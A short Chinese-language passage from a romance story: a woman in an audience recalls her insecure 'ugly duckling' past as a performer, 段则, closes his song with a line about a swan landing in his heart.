距离一旦拉远,很容易让人产生错觉。台上的人也许是在看着宽泛的某一处,但对于此处的每一个人来说,似乎都是在看着独一无二的自己。 就像此刻,她隐隐也感受到了他的目光。 她想起那个会因为自卑,会承认自己是丑小鸭的小姑娘。 她总是把自己搞得好狼狈,好洒脱,用满不在乎掩饰自己的脆弱无助。 她常常躲在别人身后,窥探每一只闪闪发光的天鹅,单单是他们洁白的翅膀扇拂到她,便会觉得很幸福。 再到后来,单单是注视已经无法满足,而她不敢要求太多,只能笨拙地拍打着自己不知何时渐丰的羽翼,飞向自己的广阔蓝天。 而她好像从没想过,为什么自己能够飞得这么高、这么远。 大概—— 灯光随着伴奏渐熄,段则握紧话筒,温柔地清唱出了最后一句: “你出现那一秒,天鹅落在我心间。”